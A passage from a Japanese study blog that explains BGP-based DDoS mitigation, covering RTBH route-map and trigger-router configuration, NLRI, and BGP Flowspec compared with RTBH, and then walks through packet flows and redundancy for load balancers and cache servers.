<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="route-map MAP-RTBH-IN permit 10
 match community コミュニティ名             ! 「65000:666」が付いていたら…
 set ip next-hop 192.0.2.1                ! ネクストホップをダミーIP（Null0行き）に変更" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MAP-RTBH-IN</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">community</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">コミュニティ名</span><span style="color: #F8F8F2">             </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">「65000:666」が付いていたら…</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">next-hop</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.0</span><span style="color: #E6DB74">.2.1</span><span style="color: #F8F8F2">                </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ネクストホップをダミーIP（Null0行き）に変更</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>3. 【受信側】BGPプロセスへの適用（iBGPピアからの受信用）</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="router bgp 65000
 neighbor 10.1.1.100 remote-as 65000     ! 検知サーバー（トリガールーター）のIP
 neighbor 10.1.1.100 route-map MAP-RTBH-IN in" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65000</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.1</span><span style="color: #E6DB74">.1.100</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">remote-as</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65000</span><span style="color: #F8F8F2">     </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">検知サーバー（トリガールーター）のIP</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.1</span><span style="color: #E6DB74">.1.100</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MAP-RTBH-IN</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">in</span></span></code></pre></div>



<p class="wp-block-paragraph"><strong>４．【送信側】DDoS検知サーバー（トリガールーター）側の発動コマンド</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="! 1. 攻撃対象IP（ホスト経路 /32）を定義
ip prefix-list PL-ATTACK-TARGET permit 203.0.113.50/32

! 2. タグと「外部広報禁止（no-export）」をセットで付与
route-map MAP-RTBH-OUT permit 10
 match ip address prefix-list PL-ATTACK-TARGET
 set community 65000:666 no-export        ! 自作タグとRFC標準の広報禁止タグをダブル付与！

! 3. BGPでネットワークを広告
router bgp 65000
 network 203.0.113.50 mask 255.255.255.255 route-map MAP-RTBH-OUT" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">!</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">1.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">攻撃対象IP（ホスト経路</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">/32）を定義</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">PL-ATTACK-TARGET</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">203.0</span><span style="color: #E6DB74">.113.50/32</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">!</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">2.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">タグと「外部広報禁止（no-export）」をセットで付与</span></span>
<span class="line"><span style="color: #A6E22E">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MAP-RTBH-OUT</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">address</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">PL-ATTACK-TARGET</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">community</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65000</span><span style="color: #E6DB74">:666</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">no-export</span><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">!</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">自作タグとRFC標準の広報禁止タグをダブル付与！</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">!</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">3.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">BGPでネットワークを広告</span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65000</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">network</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">203.0</span><span style="color: #E6DB74">.113.50</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">mask</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">255.255</span><span style="color: #E6DB74">.255.255</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MAP-RTBH-OUT</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc34">Q.NLRI（Network Layer Reachability Information）とは？</span></h3>



<p class="wp-block-paragraph">Q.BGPを勉強していると必ずと言っていいほど、NLRIが出てくる。そのたびになんとなくわかった気で入るけど、再度出会うと、やっぱりよくわかっていないという感じになる。それをここで解消していこう！<br>A.NLRI（NetworkLayerReachabilityInformation）とはBGP Updateを構成する主要な要素である。BGP Updateは以下の２つで構成されている。</p>



<p class="wp-block-paragraph"><strong>1. NLRI（宛先のアドレス情報）<br></strong><span class="fz-16px">　役割： 「どのネットワーク（IPアドレス/サブネットマスク）へ通信を届けたいか」という<span class="blue">対象の宛先そのもの</span>です。<br>　<strong>例：</strong> <code>203.0.113.0/24</code> や <code>192.0.2.50/32</code></span><br><strong>2. パス属性（Path Attributes：通信条件やタグ）</strong><br><span class="fz-16px">　<strong>役割：</strong> NLRIで示した宛先に対して、「<span class="blue">どういう条件</span>でパケットを運ぶか」「どう処理すべきか」という付加情報です。<br>　<strong>含まれる主な属性：</strong><br>　NEXT_HOP： 次にどのルーターへ渡すか<br>　AS_PATH： どのAS（組織）を通ってきたか<br>　LOCAL_PREF： 社内（iBGP）での優先度はいくつか<br>　COMMUNITY（BGPコミュニティ）： コミュニティ属性もまさにここ（パス属性）に含まれる</span></p>



<h3 class="wp-block-heading"><span id="toc35">p.7 BGP Flowspecとは？&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="915" height="143" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-17.png" alt="" class="wp-image-8106" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-17.png 915w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-17-300x47.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-17-768x120.png 768w" sizes="(max-width: 915px) 100vw, 915px" /></figure>



<p class="wp-block-paragraph">これまでのRTBH（Remotely Triggered Black Hole）にあった致命的な弱点を克服するために生まれた、より高度なDDoS対策技術。</p>



<p class="wp-block-paragraph"><strong>Q.なぜ BGP Flowspec が必要なのか？（RTBHの限界）</strong><br>RTBHには、運用上の大きな弱点がある。<br><span class="fz-16px">　<strong>RTBHの弱点（大ざっぱすぎる）：</strong> RTBHは「宛先IP（/32）」単位でしか通信をドロップできません。つまり、攻撃パケットだけでなく、サービスを利用したい一般ユーザーの正常な通信（Webアクセス等）まで一緒に遮断されてしまう（巻き添えを食らう）という問題がある。<br>　<strong>BGP Flowspecの解決策（ピンポイント遮断）：</strong> 「宛先IP」だけでなく、送信元IP、プロトコル（TCP/UDP）、ポート番号（80, 443など）、パケット長など細かな条件（L3/L4情報）を指定して、攻撃パケットだけをピンポイントでドロップできるようにしたのが Flowspec です。</span></p>



<p class="wp-block-paragraph"><strong>Q.どうやって、宛先IP以外の情報をNLRIに乗せるの？<br></strong>A.<strong>NLRI（宛先情報）を拡張する。</strong>本来のNLRIには「IPアドレス」しか入らない。しかし、Flowspec（RFC 8955）ではNLRIの枠組みを拡張し、送信元IP、TCP/UDPポート番号、ICMPタイプなどに加え、Discardなどの<span class="blue">動作指示</span>といった「フィルター条件（フロー定義）」をまるごと詰め込んで送れるようになった。なお受け取ったルータは<span class="blue">ルーティングテーブルではなく「アクセスリスト（ACL）」を内部で自動生成</span>する。ルーターがACLでパケットを直接ドロップするため、ダミーIPもNull0へのルーティング設定も一切不要。</p>



<h4 class="wp-block-heading"><span id="toc36">▼BGP Flowspecのフロー</span></h4>



<p class="wp-block-paragraph">「Webサーバー（<code>203.0.113.50</code>）の80番ポート宛てに、特定送信元からUDP 53の攻撃パケットが大量に届いている」ケースを例に理解していこう！</p>



<p class="wp-block-paragraph"><strong>① 【検知】DDoS検知サーバーが攻撃パターンを特定</strong><br><span class="fz-16px">　NetFlowなどのログから、攻撃のシグネチャ（宛先IP: <code>203.0.113.50</code> / プロトコル: <code>UDP</code> / 送信元Port: <code>53</code>）を判定。</span><br><strong>② 【広報】検知サーバーが BGP Flowspec（拡張NLRI）を発行<br></strong><span class="fz-16px">　※このメッセージ自体に「どう捨てるか」が入っているため、事前設定されたダミーIPなどは準備不要。<br>　以下のデータを入れたBGP UPDATEメッセージを生成してエッジルーターへ送る。<br>　　<strong>拡張NLRI（マッチ条件）：</strong> <code>宛先 203.0.113.50/32</code> ＋ <code>UDP</code> ＋ <code>送信元Port 53</code><br>　　<strong>拡張コミュニティ（動作指示）：</strong> <code>Action: Discard（破棄）</code></span><br><strong>③ 【変換】エッジルーターがBGPメッセージを「ACL」に自動変換</strong><br><span class="fz-16px">　<em>(内部イメージ: <code>deny udp any eq 53 host 203.0.113.50</code> をインターフェースのIN方向に自動適用)</em><br>　エッジルーター（<code>address-family ipv4 flowspec</code> が有効なルーター）がメッセージを受信。<br>　ルーターはBGPの指示を読み取り、内部のハードウェア（TCAM）上に動的なACL（フィルタールール）を自動で即座に作成・適用。</span><br><strong>④ 【遮断】攻撃パケットのみをピンポイントでドロップ</strong><br>　<strong>正常なパケット（TCP 80）：</strong> ACLの条件に合致しないためスルーされ、Webサーバーへ無事に届く（サービスが継続できる）。<br>　<strong>攻撃パケット（UDP 53）：</strong> 入口のエッジルーターで自動生成されたACLにヒットし、<strong>その場で即座にドロップ</strong>される。</p>



<h4 class="wp-block-heading"><span id="toc37">▼RTBHとBGP Flowspecの違い</span></h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>RTBH 方式</strong></td><td><strong>BGP Flowspec 方式</strong></td></tr></thead><tbody><tr><td><strong>事前設定</strong></td><td><strong>必要</strong>（全ルーターにダミーIP ➔ Null0の静的ルート）</td><td><strong>不要</strong>（Flowspecを有効化しておくだけ）</td></tr><tr><td><strong>BGPで送るもの</strong></td><td>宛先IP ＋ 自作コミュニティタグ</td><td>L3/L4詳細条件 ＋ アクション（Discard等）</td></tr><tr><td><strong>ルーターの内部処理</strong></td><td>ルーティングテーブル（FIB）の書き換え</td><td><strong>アクセスリスト（ACL）の自動生成・適用</strong></td></tr><tr><td><strong>破棄の手段</strong></td><td>Null0 インターフェースへ引き込んで捨てる</td><td><strong>インターフェース入口のACLで直接ドロップ</strong></td></tr><tr><td><strong>正常通信への影響</strong></td><td>攻撃対象IP宛ては<strong>全遮断（巻き添え）</strong></td><td>攻撃条件以外の<strong>正常通信は許可</strong></td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><span id="toc38">p.6 図３の構成について疑問をいろいろ解消したい&#8230;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="801" height="549" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-1.jpg" alt="" class="wp-image-8110" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-1.jpg 801w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-1-300x206.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-1-767x526.png 767w" sizes="(max-width: 801px) 100vw, 801px" /></figure>



<h4 class="wp-block-heading"><span id="toc39">Q.どうやって適切なLBまで運ぶの？FWとかルータが記憶しておかなきゃダメなの？</span></h4>



<p class="wp-block-paragraph">まず、LBの前には、FWとルータがある。で、あるデータを一度キャッシュサーバに覚えさせたら、以降の通信は同一のキャッシュサーバ、ないしはLBに振り分けたい。そうしないと非効率だから。ではどうやってそんなことをしているの？<br>A.答えはシンプル。そもそものパケットの宛先がLBのIP宛てに設定されている。そのため、中間のFWやルータはただ中継するだけでよい。一度、通ったパケットだからと言って、同じLBに割り振ろう！覚えておかなきゃ！と気合を入れる必要はない。なぜなら、そもそもLB宛だから。</p>



<h3 class="wp-block-heading"><span id="toc40">Q.なんでLBが複数あるの？</span></h3>



<p class="wp-block-paragraph">LBが何台もあったら複雑になってややこしくなるじゃん！<br>A.負荷分散のため。１台のLBで稼働させると単一障害点となってしまうので冗長化構成をとる必要がある。</p>



<h3 class="wp-block-heading"><span id="toc41">Q.インターネット→ルータ→FW→LB→キャッシュサーバのパケットフロー</span></h3>



<p class="wp-block-paragraph"><strong>【① クライアント ➔ ルーター ➔ FW ➔ LB1】</strong><br>・送信元IP: 1.1.1.1（クライアント）<br>・宛先IP : 10.0.0.1（LB1のVIP1）</p>



<p class="wp-block-paragraph"><strong>【② LB1 ➔ キャッシュサーバー】<br></strong>LB1は「送信元」と「宛先」の両方を書き換える（SNAT + DNAT）。<br>・送信元IP: 10.0.0.100（LB1の物理IP）※LB1へ戻すため<br>・宛先IP : 192.168.1.10（キャッシュサーバーの物理IP）</p>



<p class="wp-block-paragraph"><strong>【③ キャッシュサーバー ➔ LB1】<br></strong>・送信元IP: 192.168.1.10（キャッシュサーバーの物理IP）<br>・宛先IP : 10.0.0.100（LB1の物理IP）</p>



<p class="wp-block-paragraph"><strong>【④ LB1 ➔ FW ➔ ルーター ➔ クライアント】<br></strong>LB1が内部のセッションテーブルを参照し、クライアント向けに復元します。<br>・送信元IP: 10.0.0.1（VIP1）※クライアントが見ている宛先に戻す<br>・宛先IP : 1.1.1.1（クライアント）</p>



<h3 class="wp-block-heading"><span id="toc42">Q.ルータ、FW、LBを冗長化しても必ず同じキャッシュサーバに到達するのはなぜ？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="799" height="542" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-2.jpg" alt="" class="wp-image-8113" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-2.jpg 799w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-2-300x204.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-18-2-767x520.png 767w" sizes="(max-width: 799px) 100vw, 799px" /></figure>



<p class="wp-block-paragraph">Q.👆このような構成の場合、同じデータに対して同一のキャッシュサーバを使い続けることが可能なのかな？（同じキャッシュを使わないとキャッシュミスして毎回オリジンにアクセスしなくなるので）<br>だって、送信元が違ったらルータのアルゴリズムで振り分け先FWが変更したりするじゃん？で、FWも同じで、振り分け先LBが変わっちゃうのでは？そうなると、異なるキャッシュサーバにアクセスせざるを得ないのでは？</p>



<p class="wp-block-paragraph">A.すべてのLBはすべてのキャッシュサーバと疎通できる構成になっているのでOK！！<br>LBに到達するまでは、IPやポートによって振り分けアルゴリズムが動く。そのため、送信元が違えば、たとえ同じデータを要求していても、異なるFW、LBが選択される。しかし、それは全く問題ない。なぜなら、すべてのLBはすべてのキャッシュサーバと疎通ができるから。たとえ、LB１へ振り分けられようとLB2,LB5など様々なLBに振り分けられても、取得するデータが同じなら必ず同一のキャッシュサーバが宛先として選出されるのでまったくもって問題はない。</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
